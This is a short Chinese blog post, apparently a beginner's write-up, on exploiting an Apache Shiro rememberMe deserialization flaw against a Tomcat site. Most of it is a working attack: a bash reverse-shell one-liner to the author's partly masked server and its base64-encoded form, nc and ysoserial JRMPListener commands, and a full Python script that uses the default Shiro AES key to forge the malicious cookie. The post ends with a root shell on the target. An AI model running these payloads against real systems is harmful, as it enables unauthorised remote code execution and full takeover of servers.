zoukankan      html  css  js  c++  java
  • shiro漏洞利用_入门

    拿到站点后发现是tomcat的,找了一圈找不到点进去,给学长看了一下,似乎是有个shiro可以利用

    于是乎就去临时学习了一下

    参考bypass的博客:https://www.cnblogs.com/xiaozi/p/13239046.html

    1、java -jar .shiro_tool.jar url

    检测结果

     2、服务器监听一个端口50058,这个是拿来反弹shell的

    nc -lvnp 50058

    反弹shell 命令:bash -i >& /dev/tcp/39.99.xx.xx/50058 0>&1
    利用网站http://www.jackson-t.ca/runtime-exec-payloads.html对命令进行编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT这是马赛克==}|{base64,-d}|{bash,-i}

    3、使用这个大佬的工具:https://github.com/insightglacier/Shiro_exploit

    在服务器上新建一个ssh会话,执行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 50057 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT这是马赛克==}|{base64,-d}|{bash,-i}'

    这个端口50057是用来监听并反弹shell的,反弹到刚刚的50058端口上

    4、准备一个shiro.py,代码如下。用来构造数据包

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #找到的key
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
        print("rememberMe={0}".format(payload.decode()))

    执行python shiro.py 39.99.xx.xx:50057

    这里选择的端口是执行jar文件监听的端口,而不是用nc监听的那个

    生成数据包

     用bp在网站登陆页面抓个包,在cookie中添加构造的参数,发送。可以看到响应包中有一个deleteme

     这时候在50057可以看到东西,

     同时在50058可以看到shell回来了(可能有点延迟。建议等一会)

     直接就是root权限



     

  • 相关阅读:
    Server2012R2 ADFS3.0 The same client browser session has made '6' requests in the last '13'seconds
    pig的grunt中shell命令不稳定,能不用尽量不用
    pig脚本的参数传入,多个参数传入
    pig的cogroup详解
    pig的limit无效(返回所有记录)sample有效
    Dynamics CRM2013 任务列表添加自定义按钮
    简述浏览器渲染机制
    如何区分浏览器类型
    使用mock.js生成前端测试数据
    理解Ajax
  • 原文地址:https://www.cnblogs.com/This-is-Y/p/13899977.html
Copyright © 2011-2022 走看看